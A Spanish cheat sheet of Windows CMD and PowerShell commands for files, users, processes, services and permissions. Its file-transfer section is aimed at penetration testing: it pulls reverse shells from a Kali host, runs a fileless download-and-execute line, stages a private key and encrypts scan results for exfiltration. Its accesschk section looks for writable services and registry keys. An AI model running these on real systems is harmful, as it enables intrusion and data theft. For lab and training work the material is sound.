Skip to content

Comandos de windows

1. 馃捇 B谩sico

1.1. Redirecciones y operadores

Comando Descripci贸n
cmd1 \| cmd2 Pipe: pasa la salida decmd1como entrada decmd2
cmd > archivo.txt Redirige la salida est谩ndar a un archivo. Pero lo sobrescribe si existe
cmd >> archivo.txt A帽ade el contenido de la salida al final del archivo sin sobrescribir
cmd 2> errores.txt Redirige la salida de error(stderr) a un archivo
cmd 2>&1 Redirige stderr al mismo destino que stdout (fusiona salidas)
cmd1 && cmd2 Ejecuta cmd2 solo si cmd1 tuvo 茅xito (exit code 0)
cmd1 \|\| cmd2 Ejecuta cmd2 solo si cmd1 fall贸 (exit code distinto a 0)
cmd1 & cmd2 Ejecuta ambos comandos siempre, en secuencia

Referencia a directorios - . : Directorio actual - .. : Directorio padre


2. 馃搧 Gesti贸n de ficheros

2.1. Listado

Acci贸n CMD Powershell
Cambiar de directorio cd <ruta> cd <ruta> (alias de Set-Location)
Listado dir <ruta> dir <ruta> (alias de Get-ChildItem)
Listar solo nombres dir /b <ruta>
Listado recursivo dir /s <ruta> dir -Recurse <ruta>
Listar archivos ocultos dir /a <ruta> dir -Force <ruta>
Listar solo carpetas dir /ad <ruta> dir -Directory <ruta>
Listar solo archivos dir /a-d <ruta> dir -File <ruta>
Leer el contenido de un archivo type <archivo> cat <archivo> (alias de Get-Content)
Contar archivos (dir <ruta>).Count

2.2. Crear y borrar archivos y carpetas

Acci贸n CMD Powershell
Crear una carpeta mkdir <carpeta> ni <nombre> -ItemType Directory (alias de New-Item)
Eliminar un archivo del <archivo>
Eliminar una carpeta vac铆a rmdir <carpeta>
Eliminar una carpeta con contenido rmdir /s <carpeta> del .\carpeta -Recurse -Force
Vaciar una carpeta del .\carpeta\* -Recurse -Force

2.3. Copiar y mover ficheros

Acci贸n CMD Powershell
Copiar un archivo copy <origen> <destino> cp <origen> <destino> (alias de Copy-Item)
Mover/renombrar un archivo move <origen> <destino> mv <origen> <destino> (alias de Move-Item)
Copiar todo el contenido copy <origen>\* <destino> cp <origen>\* <destino>

2.4. Permisos

Los permisos se asignan con icacls <ruta>


3. Filtrado, propiedades y b煤squedas

3.1. CMD

En CMD utilizamos findstr para los filtros

Acci贸n CMD
Buscar un patr贸n en un archivo findstr <patr贸n> <archivo>
Ignorar may煤sculas/min煤sculas findstr /I <patr贸n> <archivo>
Excluir l铆neas que coincidan findstr /V <patr贸n> <archivo>
Buscar usando expresi贸n regular findstr /R <patr贸n> <archivo>
Buscar en subdirectorios de forma recursiva findstr /S <patr贸n> *.txt
Buscar un archivo de forma recursiva dir /s /b \| findstr archivo

3.1. Powershell

PowerShell devuelve objetos, no texto plano. Por eso se puede filtrar por propiedades:

Acci贸n CMD
Filtrar cadena de un texto sls <patr贸n> <archivo> (alias de Select-String)
Mostrar propiedades concretas select propiedad1, propiedad2 (alias de Select-Object)
Limitar resultados select -First/-Last x
Mostrar en modo columnas / lista ft (Format-Table) / fl (Format-List)
Filtro por propiedades ? { $_.<propiedad> <filtro>} (alias de Where-Object)
Los filtros pueden ser
mayor que menor que coincidencias exactas oincidencias parciales AND l贸gico OR l贸gico
-gt -lt -match -like -and -or

4. 馃懁 Gesti贸n de usuarios y grupos

4.1. Consultar informaci贸n

Acci贸n CMD Powershell
Ver el usuario actual whoami whoami
Ver los privilegios de nuestro usuario whoami /priv
Ver a qu茅 grupos pertenecemos whoami /groups
Ver el nombre completo y SID whoami /user
Ver los usuarios con sesi贸n activa query user
Listar usuarios net user Get-LocalUser
Ver informaci贸n de otro usuario net user <usuario> Get-LocalUser <usuario>

4.2. Crear y eliminar usuarios

Acci贸n CMD Powershell
Crear un usuario net user <usuario> <pass> /add New-LocalUser -Name <usuario>
Cambiar la contrase帽a de un usuario net user <usuario> <pass> Set-LocalUser -Name <usuario> -Password $pass
Eliminar un usuario net user <usuario> /delete Remove-LocalUser -Name <usuario>

4.3. Gestionar grupos

Acci贸n CMD Powershell
Listar grupos Get-Localgroup
Listar los miembros de un grupo net localgroup <grupo> Get-LocalGroupMember -Group <grupo>
A帽adir un usuario a un grupo net localgroup <grupo> <usuario> /add Add-LocalGroupMember -Group <grupo> -Member <usuario>
Eliminar a un usuario de un grupo net localgroup <grupo> <usuario> /delete Remove-LocalGroupMember -Group <grupo> -Member <usuario>

5. 馃懁 Gesti贸n de procesos y redes

5.1. Gestionar procesos

Acci贸n CMD Powershell
Listar procesos tasklist gps (alias de Get-Process)
Listar procesos con usuario y m谩s informaci贸n tasklist /V gps notepad \| select *
Filtrar procesos por nombre de ejecutable tasklist /FI "IMAGENAME eq notepad.exe" gps notepad
Filtrar procesos por usuario tasklist /FI "USERNAME eq juan"
Finalizar un proceso por PID taskkill /PID <pid> /F kill -Id <pid> -Force /(alias de Stop-Process)
Finalizar un proceso por nombre taskkill /IM notepad.exe /F kill -Name notepad -Force
Terminar un proceso y sus hijos taskkill /PID <pid> /F /T
Ver las DLLs que carga (gps notepad).Modules

5.2. Conexiones y puertos

Acci贸n CMD Powershell
Conexiones activas con PID y sin resoluci贸n DNS netstat -ano Get-NetTCPConnection -State Listen
Filtrar conexiones por puerto concreto netstat -ano \| findstr :443 Get-NetTCPConnection -Port 443
Ver si responde un puerto Test-NetConnection <ip> -Port 443
Realizar un ping ping <ip> ping <ip>

5.3. Servicios

Acci贸n CMD Powershell
Listar servicios sc query gsv (alias de Get-Service)
Listar servicios corriendo gsv \| ? Status -eq Running
Iniciar/detener un servicio sc start/stop <servicio> / net start/stop <servicio> Start/Stop/Restart-Service <nombre>
Configurar arranque de servicio: auto, manual o deshabilitado sc config <servicio> start= auto/demand/disabled Set-Service <nombre> -StartupType Automatic/Manual/Disabled
Ver informaci贸n de un servicio sc qc <servicio> y sc queryex <servicio> gsv <servicio> \| select *
Cambiar la cuenta del servicio sc config "wuauserv" obj= "NT AUTHORITY\NetworkService"
Crear un servicio sc create MiServicio binPath= "C:\ruta\servicio.exe" start= auto New-Service -Name "MiServicio" -BinaryPathName "C:\ruta\servicio.exe" -StartupType Automatic
Eliminar un servicio sc delete MiServicio Remove-Service -Name "MiServicio"
Espacio despu茅s de = En sc.exe, los par谩metros requieren un espacio entre = y el valor: start= auto (con espacio). Sin ese espacio, el comando falla silenciosamente.

6. Transferir archivos

Transferir archivos a Linux:

# SMB
kali:> impacket-smbserver carpeta $(pwd) -smb2support  # kali
cmd:> net share carpeta=C:\Users\User\Desktop\share  
cmd:> copy \\10.10.10.10\kali\reverse.exe .  

# SMB con credenciales (por si hay un error)
kali:> impacket-smbserver carpeta $(pwd) -smb2support  -username kali -password kali 
cmd:> net use Z: \\<windows1>\carpeta /user:kali kali 
cmd:> net use Z: /delete

# HTTP download
kali:> python -m http.server -p 80
cmd:> certutil -f -urlcache -split http://10.10.10.10/script.exe .
pwsh:> IWR -uri http://10.10.10.10/shell.exe -Outfile shell.exe
pwsh:> IWR -uri http://10.10.10.10/shell.exe | IEX # fileless
PS: (New-Object Net.WebClient).DownloadFile('https://kali_ip/PowerView.ps1','.\PowerView.ps1') 
# Si da error "NotSupportedException" poner -UseBasicParsing

# HTTP upload
python3 -m venv venv
source venv/bin/activate
python -m uploadserver 8000

# Winrm
evil-winrm:> upload shell.exe
evil-winrm:> download file.txt

# Base64
PS: [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<b64_blob>"))
PS: Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
[Convert]::ToBase64String((type 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))

# FTP
sudo python3 -m pyftpdlib --port 21
(New-Object Net.WebClient).DownloadFile('ftp://10.10.10.10/file.txt', '.\ftp-file.txt')
(New-Object Net.WebClient).UploadFile('ftp://10.10.10.10/file.txt', '.\file.txt')

# PS remoting (Winrm - puerto 5985)
PS> $Sess = New-PSSession -ComputerName DATABASE01
PS> copy -Path .\samplefile.txt -ToSession $Sess -Destination .\Desktop\
PS> copy -Path .\samplefile.txt -Destination C:\ -FromSession $Sess

Para mandar un archivo cifrado utilizaremos un modulo de powershell que cifre como este

PS: Import-Module .\Invoke-AESEncryption.ps1
PS: Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

# Opensll
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd


7. Accesschk - sysinternals

Esta herramienta nos permite enumerar permisos sobre objetos

Acci贸n CMD
Ver permisos sobre un objeto accesschk C:\Windows\System32\cmd.exe
Ver permisos sobre un objeto para un usuario accesschk -u Usuario .\cmd.exe
Ver permisos sobre un directorio accesschk C:\Temp
Ver permisos sobre un directorio de manera recursiva accesschk -s C:\Temp
Buscar d贸nde un usuario puede escribir accesschk -w -u Usuario C:\
Ver permisos para un servicio accesschk -ucv Jessica Spooler
Permiso sobre un proceso accesschk64.exe -p notepad.exe
Ver permisos sobre un binario accesschk -qvu Jessica .\cmd.exe
Buscar procesos a los que podamos escribir accesschk -cw *
Ver permisos sobre una clave de registro accesschk -k HKLM\Software\Microsoft
Buscar claves del registro que podamos escribir accesschk -kw HKLM